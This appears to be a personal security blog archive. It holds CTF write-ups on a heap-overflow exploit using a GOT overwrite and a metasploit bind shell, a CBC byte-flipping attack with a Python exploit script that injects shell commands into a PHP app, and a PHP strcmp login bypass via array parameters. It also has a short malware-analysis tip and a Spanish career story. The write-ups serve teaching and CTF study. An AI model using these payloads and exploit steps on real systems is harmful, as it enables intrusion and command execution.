Tuesday, April 15, 2014

PlaidCTF 2014 ezhp: Heap Overflow Challenge

This weekend I had the pleasure to participate in the CTF organized by PPP team, I have only two years playing and definitely the CTFs from these guys are the best, thanks!

As usual, the idea of this blog is a 101 lesson when dealing with this kind of challenges, from Debugger setup to remote shell execution.

I will describe a pwnable 200 called ezhp that I resolved, when dealing with pwnables normally you have two types: those easy to find the vulnerability but difficult to exploit it (the ones that you just sent multiple A's and get the segmentation fault write away) and the ones easy to exploit but hard or tricky to find the vulnerability.

Introduction

So, let's start, by opening the challenge you were presented with below message:


The quote "Luckily when you travel back in time, you still get to use all your knowledge from the present", will make totally sense at the end of the blog. As usual, I am very bad with the hints so did not even read it.

So, we are dealing with a 32-bit ELF Linux binary, good! we can just fire up backtrack and run it, displaying below info:

Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.

So, before doing any reversing, lets step into it with a Debugger to have a better understanding, I will explain two options for this, the first one is using IDA Debugger:

Press F9 in IDA and select "Remote Linux Debugger", then configure the process options, below mine:


The next step is to copy the your linux_server binary from "dbgsrv" folder in IDA to your backtrack machine and run it:

root@bt:~/IDA# ./linux_server
IDA Linux 32-bit remote debug server(ST) v1.17. Hex-Rays (c) 2004-2013
Listening on port #23946...

Set any breakpoint in IDA(F2) and click on Debugger->Start Process (F9). You are ready to start debugging and with the power of IDA to document everything as you go!

After a lot of debugging through all the options in the menu, I realized I was able to add notes with specific size and then write to them with a different size, causing a heap header overflow, I will explain this in a minute, I had certain experience dealing with heap headers overflow so kinda know where I was going. 

Note: A chunk in this context is a space allocated in the heap and has a similar structure like this:

struct chunk {
        int prev_size; 
        int size;
        struct chunk *fd;
        struct chunk *bk;
};

Above structure is stored in the chunk header, where *fd points to the next chunk and *bk to the previous one in a double-linked list.

Before going forward a fundamental knowledge must be known, when the heap allocates new chunks in memory, it decides where to put them based on the size requested, our goal is to request adjacent chunks so that a chunk filled up with more data than expected can overflow the next one, something like this:


By looking add the code of Option 3 to change a note, we can see that the size of the data to include in the note is not restricted and therefore can overflow the current chunk overwriting also the next one:



So, in order to overflow the header of next chunk I followed below steps:

  1. Option1 : Add note (ID=0 assigned)
    • Size=256
  2. Option2: Add note (ID=1 assigned)
    • Size=256
  3. Option3: to change a note
    • Please give me an id: 0
    • Please give me a size: 276
Important details of above steps, first, the size chosen equal to 256 is needed in order to make sure to use the whole space of the chunk and force the heap allocator to allocate a new one when adding the second note, if let's say, we would have chosen a size of 10, since too much space remaining in current chunk, a second note added would have not allocated a new chunk.
The second important point, the chunk header is 20 bytes long and is located right after the end of the previous one(if allocated with the right size), and therefore I need 256 bytes to get to the end of the written chunk plus 20 that will overwrite the header of the next one. So, after writing 276 A's to the note 1 and then trying to delete note 2 (which just got its header corrupted) I got a crash!
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x41414141  EBX: 0xB7FC7FF4  ECX: 0x00000001  EDX: 0x41414141  o d I t s z a P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF478  ESP: 0xBFFFF468  EIP: 0x0804873B
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x804873b: mov    DWORD PTR [eax+0x4],edx
   0x804873e: cmp    DWORD PTR [ebp-0x4],0x0
   0x8048742: je     0x804874d
   0x8048744: mov    eax,DWORD PTR [ebp-0x4]
   0x8048747: mov    edx,DWORD PTR [ebp-0x8]
   0x804874a: mov    DWORD PTR [eax+0x8],edx
   0x804874d: mov    eax,ds:0x804b060
   0x8048752: mov    edx,DWORD PTR [eax+0x4]
--------------------------------------------------------------------------------
0x0804873b in ?? ()
gdb$ 

So, we know we just overflowed the header of the next chunk but what info was there, for the sake of this exercise, we will focus on three components only: size of the chunk, *fd and *bk, which are the 12 last bytes of the header (4 bytes each), that means we can influence their values, will come back to this later.

After confirming I was able to overflow the chunk(heap) header, I thought I was dealing with a typical malloc/free heap exploit challenge like this, and believe me I spent some hours going that route. After failing all my attempts I realized I gotta reverse the binary to understand exactly how the heap allocator was working, and below my findings.

Option 1: Adding a note

Every time a new chunk is added (Option 1), the allocated address is stored in a buffer (I called chunk_addresses[]) with a hardcoded address at 0x0804A060, the content of this buffer looks like:

[0] -> Address of note(chunk) 1
[1] -> Address of note(chunk) 2
[2] -> Address of note(chunk) 3

Where the array index represents the ID of the note added.

Option 3: Change a note

If I want to add content to the note 2, I need to choose Option 3 and provide the Id = 1, then the allocator will go to index (ID) inside the chunk_addresses[] buffer, get the address and start writing the content supplied by the attacker, wait a second!!!!! If I find a way to put my own address inside that buffer I can write anything anywhere, well, anywhere where the memory is writable of course. Below the scenario we want to hit, the note 2 is pointing to a different address.

[0] -> Address note 1
[1] -> note 2
[2] -> Address of note 3

Forcing the deallocator to write data in any destination we want! Write down this, we will come back in a minute.

Option 2: remove a note

These allocated chunks are handled in a double-linked list, and therefore, anytime a chunk (node) is deleted a standard process takes place as described below:



In the image above the second note (chunk in the middle ID 1) is being deleted and therefore, the deallocator will do the next steps:

  1. Get the address where ID1->bk and ID1->fd are pointing to of the chunk being deleted.
  2. Since ID1->bk is pointing to previous chunk ID 0, go to that chunk and change the ID0->fd to point to chunk ID2.
  3. Since ID1->fd is pointing to the next chunk ID 2, go to that chunk and change the ID2->bk to point to chunk ID0.

Above steps can be seen inside Delete Option code:



Pay speciall attention on the step 1, the allocator will read the content of the pointers *bk and *fd from the chunk to be deleted, and as we saw, we can overwrite its values setting them with the destination addresses that we want! 

Written anything almost anywhere in memory

Now the next question is, what can we do with these findings? After a little bit of thinking, if we point ID2->bd to the address of the chunk_address[] buffer (see Option 3 section above), we can change its content and alter the list of allocated chunks, then we can call Option 3 to write our content to whichever address we just set. Below the scenario:

Create 3 notes, add content to note 2 and overflow it to alter headers of note 3 which will end up with below values:

*bk = 0x0804A060
*fd = 0x0804A070

Then call delete option which will end up with below chunk_addresses buffer[] located at 0x0804A060:
[0] -> Address note 1
[1] -> 0x0804A070
[2] -> Address of note 3

Then, we can call Option 3 to print the content of note 2 (index 1) and guess what? will write our data into the address pointing to 0x0804A070 ! 
Let's test if it works, and here the second way to debug the binary, when debugging with IDA, all he input entered at run time must be done via the Linux terminal which does not accept hexadecimal values so we need to create a script for that, but still we need to be able to debug the program, so, we will force the binary to listen into a socket  on port 444 with below command:

socat tcp-listen:4444,fork exec:./ezph

We can also use netcat to acomplish the same thing:

while true; do nc -vv -l -p 4444 -e ezph; done

Now we can just run our script and connect to port 4444 to send our hexadecimal input. 

s.connect(('192.168.74.123', 4444))

But we still need to debug it, so, since we are using python we can pause the script with "raw_input" function:

raw_input('Attach process with gdb here')

 Then attach the process with gdb, set any breakpoint needed and let it continue:

>ps -fea|ezph
>gdb attach
>c

Now that everything is ready, let's run the exploit and check the chunk_headers buffer:

gdb$ x/32x 804A070
0x804a070: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a080: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a090: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a0a0: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a0b0: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a0c0: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a0d0: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a0e0: 0x42424242 0x42424242 0x42424242 0x42424242

So, basically what just happened was, by deleting the note 3 (ID2), we altered the address of the note 2 (ID 1) inside the chunk_buffers[] array. and force it to point to 0x0804A070 as shown below:



Great! Now we can place our shellcode in memory! But wait! how can we execute it!

Here is where option 4 comes into play.

Code Execution

The option 4 is to print the content of a note by calling puts function, so, since we can write anything anywhere, what if we overwrite the whole content of puts function with our shellcode, then print the note 1 which should call our shellcode! So, let's find puts address in the binary:

readelf --relocs ezhp

Relocation section '.rel.dyn' at offset 0x348 contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ff0  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
0804a040  00000905 R_386_COPY        0804a040   stdout

Relocation section '.rel.plt' at offset 0x358 contains 8 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a000  00000107 R_386_JUMP_SLOT   00000000   read
0804a004  00000207 R_386_JUMP_SLOT   00000000   fflush
0804a008  00000307 R_386_JUMP_SLOT   00000000   puts

We find it at 0x8004a008, just an small detail to keep in mind, this address is a pointer to a pointer, which means, the first 4 bytes of our controlled buffer (shellcode) must be a valid address, which is going to be 4 bytes ahead where our shellcode starts 0x8004a00C. Below would be the execution flow:

Print note -> [0x8004a008]-> [0x8004a00C]->

So, the last step is to generate our shellcode, we can use metasploit to do that:

>msfpayload linux/x86/shell_bind_tcp LPORT=8888 P

Connecting the dots

And finally, below is the sequence to get a remote shell:
  1. Option 1: Add a note
    • Size:256
  2. Option 1: Add a note
    • Size:256
  3. Option 1: Add a note
    • Size:256
  4. Option 3: Change a note
    • ID=1
    • Size:276
    • Data Entered to overflow next chunk (ID2)
  5. Option 2: Remove a note:
    • ID=2
  6. Option 3: Change a note
    • ID=1
    • Size:256
    • Inserting our shellcode
  7. Option 4: Print note
    1. ID=1

And..... viola!!!!! We just need to connect to port 8888 on remote host and cat the flag:

shitty_heap_allocators_are_shitty



Hope you enjoy it as much as I did while exploiting it. 

You can find my exploit here.

















Friday, September 6, 2013

CBC Byte Flipping Attack - 101 Approach


As usual, there are some explanations about this attack out there (see references at the end), but requires some knowledge to understand it properly, so, here I will describe step by step how to perform this attack.

Purpose of the Attack: To change a byte in the plaintext by corrupting a byte in the ciphertext.
Why?
To bypass filters by adding malicious chars like a single quote, or to elevate privileges by changing the ID of the user to Admin, or any other consequence of changing the plaintext expected by an Application.

Introduction

First of all, let's start understanding how CBC (Cipher-block chaining) works. A detailed explanation can be found here:
http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29

But I will only explain what is needed to understand the attack.

Encryption process:




Plaintext: The data to be encrypted.
IV:  A block of bits that is used to randomize the encryption and hence to produce distinct ciphertexts even if the same plaintext is encrypted multiple times.
Key: Used by Symmetric Encryption Algorithms like AES, Blowfish, DES, Triple DES, etc.
Ciphertext: The data encrypted.

An important point here is that CBC works on fixed-length group of bits called a block. In this blog, we will use blocks of 16 bytes each.

Since I hate mathematical formulas, below is mine:

Ciphertext-0 = Encrypt(Plaintext XOR IV) - Just for the first block
Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1) - For second and remaining blocks.

Note: As you can see, the ciphertext of the previous block is used to generate the next one.

Decryption Process:



Plaintext-0 = Decrypt(Ciphertext) XOR IV - Just for the first block
Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1 - For second and remaining blocks.

Note: The Ciphertext-N-1 is used to generate the Plaintext of the next block, this is where Byte Flipping Attack comes into play. If we change one byte of the Ciphertext-N-1 then when XORing with the next Decrypted block we will get a different Plaintext! You got it? Do not worry, we will see a detailed example below. Meanwhile, below is a nice diagram explaining this attack:



Example:  CBC Blocks of 16 bytes.

Let's say we have this serialized plaintext:

a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}

Our target is to change the number 6 at "s:6" to number "7". First thing we need to do is to split the plaintext into 16 bytes chunks:

Block 1:      a:2:{s:4:"name";
Block 2       s:6:"sdsdsd";s:8         <<<-----target div="" here="">
Block 3:      :"greeting";s:20:
Block 4:      "echo 'Hello sd
Block 5:      sdsd!'";}

So, our target char is located at block 2 which means, we need to change the ciphertext of Block 1 to change the plaintext of the second block.
A rule of thumb is that the byte you change in a ciphertext will ONLY affect a byte at same offset of next plaintext. Since our target is at offset 2:

[0] = s
[1] = :
[2] = 6

Therefore, we need to change the byte at offset 2 of the first ciphertext block. As you can see in the code below, at line 2 we get the ciphertext of the whole data, then at line 3 we change the byte of block 1 at offset 2 and finally we call the decryption function.

1. $v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";
2. $enc = @encrypt($v);
3. $enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
4. $b = @decrypt($enc);

After running this code we are able to change number 6 to 7:



But, how did we change the byte to the value we wanted at line 3?

Based on the decryption process described above,  we know that A = Decrypt(Ciphertext) is XOR with B = Ciphertext-N-1 to finally get C = 6.  Which is equal to:

C = A XOR B

So, here the only value we do not know is A (block cipher decryption), so, with XOR we can easily get that value by doing: 

A =  B XOR C

And finally, A XOR B XOR C is equal to 0. With this formula, we can set our own value by adding it at the end of the XOR calculation, like:

A XOR B XOR C XOR "7" will give us 7 in the plaintext at offset 2 on the second block.

Below is the PHP source code so that you can replicate it:

[Code Starts Here]

define('MY_AES_KEY', "abcdef0123456789");

function aes($data, $encrypt) {
    $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
    $iv = "1234567891234567";
    mcrypt_generic_init($aes, MY_AES_KEY, $iv);
    return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
}  

 
define('MY_MAC_LEN', 40);

function encrypt($data) {
    return aes($data, true);
}

function decrypt($data) {
    $data = rtrim(aes($data, false), "\0");
    return $data;
}
$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
echo "Plaintext before attack: $v\n";
$b = array();
$enc = array();
$enc = @encrypt($v);
$enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
$b = @decrypt($enc);
echo "Plaintext AFTER attack : $b\n";

[Code Ends Here]

Try changing the char from "7" to "A" or something else to see how it works.

Exercise 2:

Now that we understood how this attack works, let's do a more real-world exercise. Some weeks ago took place the CTF Competition hosted by the team Eindbazen, there was a Web 400 challenge called "Moo!", You can see all the details of this task at the end of the blog in the reference 2 and 3, here I am just going to describe the final steps of breaking CBC.

We were provided with the source code for analysis, below is the chunk important for this exercise:


Basically, you will submit any text in the POST parameter "name" and the App will respond with a Hello message concatenating the text submitted at the end, but two things happens before printing back the message:

1. The POST "name" parameter is filtered out by PHP escapeshellarg() function (which mainly will escape single quotes to prevent injecting malicious commands), then store it in the Array->greeting field to finally creating a cookie encrypted with this value.
2. Then the content of Array->greeting field is executed via PHP passthru() function, which is used to execute System commands.
3. Finally, anytime the page is accessed, if the cookie already exist, it will be decrypted and then its content executed via passthru() function. Here is where our CBC attack will give us a different plaintext as explained in previous section.

So, I tried to inject below string in the POST parameter "name":

name = 'X' + ';cat *;#a'

I added the char "X" which is the one to be replaced with a single quote via CBC byte flipping attack, then the command to be executed ;cat *; and finally an "#" which is interpreted as a comment by the shell so that we do not get problems with the last single quote inserted by escapeshellarg() function and therefore our command gets executed successfully.

After calculating the exact offset of previous ciphertext block byte to be changed (offset 51), I executed below code to inject a single quote:

pos = 51;
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]

I am altering the cookie since it has the whole ciphertext. Finally, I got below result:


First, we can see in yellow that our "X" was successfully change to a single quote in the second block, but since the first block was altered, it got garbage inserted (in green) which causes an error when trying to unserialize() the data (in red), and therefore, the app did not even try to execute our injection.

How to fix it?

So, basically, we need to play with our injected data until we get garbage in the first block that does not cause any problem during unserialization. A way to get around it is by padding our malicious command with alphabetic chars. Therefore we come up with this injection string padding with multiple 'z' before and after:

name = 'z'*17 + 'X' + ';cat *;#' + 'z' *16

After sending above string, voila!!!, unserialize() does not complain with the garbage received and our shell command is executed successfully!!!!

If you want to replicate this exercise, below in the Appendix section is the PHP code running on the server side and the python script (little bit modified from code provided by Daniel from hardc0de.ru, thanks!!!) to perform the exploitation.

Finally, I want to thank the guys of the references mentioned below for writing those excellent blogs.

References:

1. CRYPTO #2: http://blog.gdssecurity.com/labs/tag/crypto 
2. http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/
3. http://hardc0de.ru/2013/08/04/ebctf-web400/

Enjoy it!


Appendix:

PHP code:

ini_set('display_errors',1);
error_reporting(E_ALL);

define('MY_AES_KEY', "abcdef0123456789");
define('MY_HMAC_KEY',"1234567890123456" );
#define("FLAG","CENSORED");

function aes($data, $encrypt) {
    $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
    $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);
    $iv = "1234567891234567";
    mcrypt_generic_init($aes, MY_AES_KEY, $iv);
    return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}

define('MY_MAC_LEN', 40);

function hmac($data) {
    return hash_hmac('sha1', data, MY_HMAC_KEY);
}

function encrypt($data) {
    return aes($data . hmac($data), true);
}

function decrypt($data) {
    $data = rtrim(aes($data, false), "\0");
    $mac = substr($data, -MY_MAC_LEN);
    $data = substr($data, 0, -MY_MAC_LEN);
    return hmac($data) === $mac ? $data : null;
}
$settings = array();
if (@$_COOKIE['settings']) {
        echo @decrypt(base64_decode($_COOKIE['settings']));
        $settings = unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
}
if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
    $settings = array(
            'name' => $_POST['name'],
            'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")),
    );
    setcookie('settings', base64_encode(@encrypt(serialize($settings))));
    #setcookie('settings', serialize($settings));
}
$d = array();
if (@$settings['greeting']) {
    passthru($settings['greeting']);
} else {
    echo "What is your name?
    echo "input name='name' type='text'";
    echo "input name='submit' type='submit' ";


}

Exploit:

#!/usr/bin/python
import requests
import sys
import urllib
from base64 import b64decode as dec
from base64 import b64encode as enc

url = 'http://192.168.184.133/ebctf/mine.php'

def Test(x):
    t = "echo 'Hello %s!'" % x
    s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40)
    for i in xrange(0,len(s),16):
        print s[i:i+16]
    print '\n'

def Pwn(s):
    global url
    s = urllib.quote_plus(enc(s))
    req = requests.get(url, cookies = {'settings' : s}).content
 #   if req.find('works') != -1:
    print req
  #  else:
   #     print '[-] FAIL'

def GetCookie(name):
    global url
    d = {
        'name':name,
        'submit':'Submit'
    }
    h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers
    if h.has_key('set-cookie'):
        h = dec(urllib.unquote_plus(h['set-cookie'][9:]))
        #h = urllib.unquote_plus(h['set-cookie'][9:])
        #print h
        return h
    else:
        print '[-] ERROR' 
        sys.exit(0)

#a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";}
#a:2:{s:4:"name";
#s:10:"X;cat *;#a
#";s:8:"greeting" 
#;s:24:"echo 'Hel
#lo X;cat *;#a!'"
#;} 
            
#a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}
#a:2:{s:4:"name";
#s:42:"zzzzzzzzzz
#zzzzzzzX;cat *;#
#zzzzzzzzzzzzzzzz
#";s:8:"greeting"
#;s:56:"echo 'Hel
#lo zzzzzzzzzzzzz
#zzzzX;cat *;#zzz
#zzzzzzzzzzzzz!'"
#;}
#exploit = 'X' + ';cat *;#a' #Test case first, unsuccess
exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success

#exploit = "______________________________________________________; cat *;#"
#Test(exploit)
cookie = GetCookie(exploit)
pos = 100; #test case success
#pos = 51; #test case first, unsuccess
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]
Pwn(exploit)

Sunday, March 3, 2013

Unauthorized Access: Bypassing PHP strcmp()


While playing Codegate CTF 2013 this weekend, I had the opportunity to complete Web 200 which was very interesting. So, let get our hands dirty.

The main page asks you to provide a valid One-Time-Password in order to log in:



A valid password can be provided by selecting the "OTP issue" option, we can see the source code (provided during the challenge) below:


        include("./otp_util.php");
     
        echo "your ID : ".$_SERVER["REMOTE_ADDR"]."";
        echo "your password : " .make_otp($_SERVER["REMOTE_ADDR"])."";
     
        $time = 20 - (time() - ((int)(time()/20))*20);
        echo "you can login with this password for $time secs.";


A temporary password is calculated based on my external IP (208.54.39.160) which will last 20 seconds or less, below the result:


So, then I clicked on "Login" option (see first image above) and below POST data was sent:

id=208.54.39.160&ps=69b9a663b7cafaca2d96c6d1baf653832f9d929b

Which gave me access to the web site (line 6 in the code below):

But we cannot reach line 9 (see code below) in order to get the flag since the IP in the "id" parameter was different. Let's analyze the script that handles the Login Form (login_ok.php):


1. $flag = file_get_contents($flag_file);
        
2. if (isset($_POST["id"]) && isset($_POST["ps"])) {
3.    $password = make_otp($_POST["id"]);
4.    sleep(3); // do not bruteforce
5.    if (strcmp($password, $_POST["ps"]) == 0) {
6.       echo "welcome, ".$_POST["id"]
8.       if ($_POST["id"] == "127.0.0.1") {
9.           echo "Flag:".$flag
          }       
      } else {
                        echo "alert('login failed..')";
      }       
   }    


Test case 1: Spoofing Client IP Address:

So, the first thing that came to my mind in order to get the flag (line 9) was to send "127.0.0.1" in the "id" parameter, so, let's analyze the function make_otp() which calculates the password:


       $flag_file = "flag.txt";

        function make_otp($user) {
                // acccess for 20secs.
                $time = (int)(time()/20);
                $seed = md5(file_get_contents($flag_file)).md5($_SERVER['HTTP_USER_AGENT']);
                $password = sha1($time.$user.$seed);
                return $password;
        }

As we can see in the code above, the function make_otp receives the "id" parameter in the $user variable and is used to calculate the password, so, by following this approach, we will not be able to pass line 5 since we need a password  for  the IP 127.0.0.1, and we can only request passwords based on our external IP via "OTP Issue" option as explained above, so, how can we get one? What if we try to find a vulnerability in the code related to "OTP Issue" option? 

So, since "OTP Issue" is reading the IP based on the environment variable "REMOTE_ADDR"  we could try to spoof our external IP address as if we were connecting from 127.0.0.1, but unfortunately it is not a good option, although spoofing could be possible, it is only an one way communication so we would not get a response from the Server, so at this point, we need to discard this approach.

Test case 2: Bruteforcing the password

By looking at the make_otp() function shown above, the only data we do not know in the password calculation process, is the content of $flag_file (obviously), so, assuming that the content of that file is less than 4-5  characters and therefore have a chance to bruteforce the MD5 hash, we only would have 20 seconds to guess it, and due to the sleep(3) command (see line 4 above), we could only guess 6 passwords before the password expires and therefore we definitely drop bruteforcing approach off the table.

Test case 3: Bypassing strcmp() function

After analyzing the two cases described above I started "googling" for "strcmp php vulnerabilities" but did not find anything, then, by looking at PHP documentation and realized this function has only three possible return values:

int strcmp ( string $str1 , string $str2 )
Returns
< 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.


Obviously, we need to find a way to force strcmp to return 0 and be able to bypass line 5 (see above) without even knowing the password, so, I started wondering what would be the return value if there is an error during the comparison? So, I prepare a quick test comparing  str1 with an Array (or an Object) instead of another string:


$fields = array(
    'id' => '127.0.0.1',
    'ps' => 'bar'
);
$a="danux";
 if (strcmp($a,$fields) == 0){
        echo " This is zero!!";
 }
 else{
       echo "This is not zero";
}


And got below warning from PHP:

PHP Warning:  strcmp() expects parameter 2 to be string, array given in ...

But guess what?Voila! it also returns the string "This is zero!!" In other words, it returns 0 as if both values were equal.

So, the last but not least step is to send an Array in the "ps" POST parameter so that we can bypass line 5, after some research and help from my friend Joe B. I learned I can send an array this way:

id=127.0.0.1&amp;ps[]=a

Notice that instead of sending "&ps=a", I also send the square brackets [] in the parameter name which will send an array object!! Also, notice that I am sending "id=127.0.0.1" so that I can get to the line 9.
And after sending this POST request...


Conclusion:

I tested this vulnerability with my local version of PHP/5.3.2-1ubuntu4.17, I do not know the version running in the CTF Server but should be similar.
After this exercise, I would suggest you all make sure you are not using strcmp() to compare values coming from end users (via POST/GET/Cookies/Headers, etc), this also reminds me the importance of not only validate parameter values BUT also parameter names as described in on of my previous blogs here.

Hope you enjoy it.

Thanks to CODEGATE Team to prepare those interesting challenges!

Saturday, December 22, 2012

Preventing Malware from deleting files: The quick and dirty way.


One of the common behaviors of Malware is to infect system processes in order to preserve access to the Machine or to run malicious actions silently, this can be accomplish by loading new drivers (kernel mode) or DLLs (user mode), which requires a physical file to be dropped into the file system and therefore, as soon as the driver/dll is loaded in memory, the malicious file is deleted, giving no chance to the Analyst to reverse it.

Any integrity-check tool (WinAnalysis, FileMon) will report those different files being dropped into the filesystem but how can we recover them? Assuming that Malware also uses many tricks to prevent tools like NTFSUndelete to recover deleted files. This means, the approach to recover the files after infection is not the recommended solution, instead we need to prevent the file from being deleted.

Then we have the sexy, advanced and recommended way to do this, by using API Hooking techniques, but unfortunately, you will need knowledge of Windows APIs, Memory Management, Processes creation, Microsoft Detours, Development, etc, so go for it, on the other hand is the dirty, not sexy and ugly way, but fast, easy and without to much knowledge, we just need to patch DeleteFileW API in Kernel32.dll in order to prevent any file in the system from being removed, play a little bit with WFP (Windows File Protection) in order to replace Kernel32.dll with our patch version and voila!!!

Enjoy it.

Sunday, October 14, 2012

Como llegue a uno de los equipos de Seguridad mas reconocidos en el Mundo.


Definitivamente, el hecho de llegar al equipo de Seguridad (Security Response Team) de Symantec encargado en combatir los virus y todo tipo de codigo malicioso a nivel mundial ha sido el mayor logro en mi carrera profesional, pero no hubiera sido posible llegar con mi propio esfuerzo, la mano de Dios estubo alli conmigo todo el tiempo y es una experiencia que quiero dejar para la eternidad. Aqui, la cronologia de los hechos.



Nota: Perdon por la falta de acentos, mi teclado esta en ingles y ni como agregarlos :-)

Mayo 31, 2012. 9:00 AM:

Solo como contexto, este dia 31 es mi cumpleaños y yo estaba siendo entrevistando en Microsoft! Si, en Redmond Seattle, fue una experiencia padrisima pero al final no hubo interes para contratarme, en este tiempo yo estaba buscando dar un salto a una compañia grande, de echo, tambien tuve platicas con Google Security Team pero tampoco se concreto nada y por si fuera poco, Symantec tambien me habia rechazado aunque no en el equipo de Seguridad sino en otro departamento, entonces perdi las esperanzas de unirme a un Gigante de TI y entonces empece a aplicar a excelentes Compañias pero fuera del rango que yo pretendia en un principio.

Julio 2, 2012, 3:15 PM:

Liam Murchu Manager del Equipo de Seguridad de Symantec (Security Response Team) publica este twitter anunciando que estaban contratando Analizadores de Codigo malicioso (malware analysts) en el soleado California:




Yo habia recibido este tweet ya que seguia los mensajes del equipo de Seguridad de Symantec y Liam envio este mensaje ha dicho grupo, en otras palabras yo no seguia los tweets de Liam, y para ser honestos ni siquiera sabe quien era el.

Cuando vi este tweet alrededor de las 11:00 PM del 3 de Julio (un dia despues de ser publicado) me emocione mucho ya que volvian mis esperanzas, aunque por mi mente pasaba “va a ser igual que en Microsoft, requeriran un gran nivel y por ende no estare a la altura”, pero de cualquier manera, investigue quien era Liam Murchu, consegui su correo electronico y le envie mi curriculum el mismo dia a las 11:55 PM. 
Mi correo mas que pedirle una entrevista fue una suplica para que me diera la oportunidad de trabajar con el considerando que mis conocimientos en analisis de Virus no eran avanzados pero que era el hombre mas motivado que jamas encontraria y que trabajaria dia y noche para darle los resultados esperados.

Inmediatamente despues, me acorde que tenia el correo de la persona “Adri” de recursos humanos de Symantec que me habia contactado para la oportunidad de trabajo anterior de la cual no habia sido seleccionado, le pedi de la forma mas atenta que por favor enviara mi curriculum a el de recurso de recursos humanos asignado para la contratacion dicho puesto.

Julio 5, 12:07 PM:

“Adri” de Symantec me contesta diciendome que ha enviado mi curriculum a la persona correspondiente y que si habia algun interes, ellos me contactarian. Yo le agradezco mucho a “Adri” y la bendigo en el nombre de Dios.

Julio 5, 12:13 PM:

Vean la hora, notese que fueron 6 minutos despues de agradecerle a “Adri”, recibo una llamada de “Lore” de recursos humanos de Symantec!!!!!!! No lo podia creer, ella me baja de mis nubes diciendome que el candidato YA CASI esta seleccionado pero que de cualquier manera me esta hablando por cortesia para hacerme saber que intentara enviar mi curriculum a Liam, argumentando que en ocasiones raras, los Managers pueden abrir mas vacantes o si no, pues ella me llamaria en cuanto hubiera otra oportunidad.

Julio 5, 15:33 PM:

Alrededor de 3 horas despues del mismo dia, me vuelve a llamar “Lore”, mas emocionada que yo! Y me dice que Liam esta interesado en platicar conmigo! Aunque me dice que la vacante es para una posicion Junior donde el salario esta un 25% por debajo de lo que yo actualmente percibo. Yo ya estaba avanzado en platicas con otra Empresa asi que mi intencion era saber hasta donde hubiera llegado con Symantec y si ellos hubieran estado interesados en mi, como que en el fondo de mi Corazon no habia ninguna esperanza de que me contrataran. Entrar en el equipo lider en analisis de virus con basica experiencia en ese campo? No lo veia posible.

Julio 9, 2012, 12:00 PM:

Liam y con un colega me marcan para la entrevista tecnica, yo inmediatamente me sincero y le digo que llevo poco tiempo en esa especialidad de analisis de virus pero que mi experiencia en otros campos de la seguridad me pueden ayudar a aprender rapido, entonces Liam me dice que me hara unas entrevistas basicas para ver si tengo nocion del puesto. Despues de dichas preguntas, me dice que parece que no estoy tan mal y que le gustaria una segunda entrevista con un alto grado tecnico solo para saber exactamente el nivel de mis conocimientos. Cuelgo el telefono y lo primero que pense fue… “me van a masacrar en la siguiente entrevista, no solo diran que no soy apto para el puesto sino que nisiquiera tengo los conocimientos basicos!!!!”.

Julio 9, 2012, 4:34PM:

“Lore” me habla, otra vez emocionada para decirme que me fue bien en mi entrevista! y que mi siguiente entrevista tecnica sera el proximo 12 de Julio.

Julio 12, 2012, 12:30 PM:

Me habla Liam, me presenta a su experto, me dice muy amablemente que no me preocupe, que empezaran con preguntas basicos e iran subiendo el nivel de complejidad hasta donde vean que ya no puedo pero que solo sea sincero con mis respuestas, que no intente adivinar y que no importa si no se algunas preguntas. 

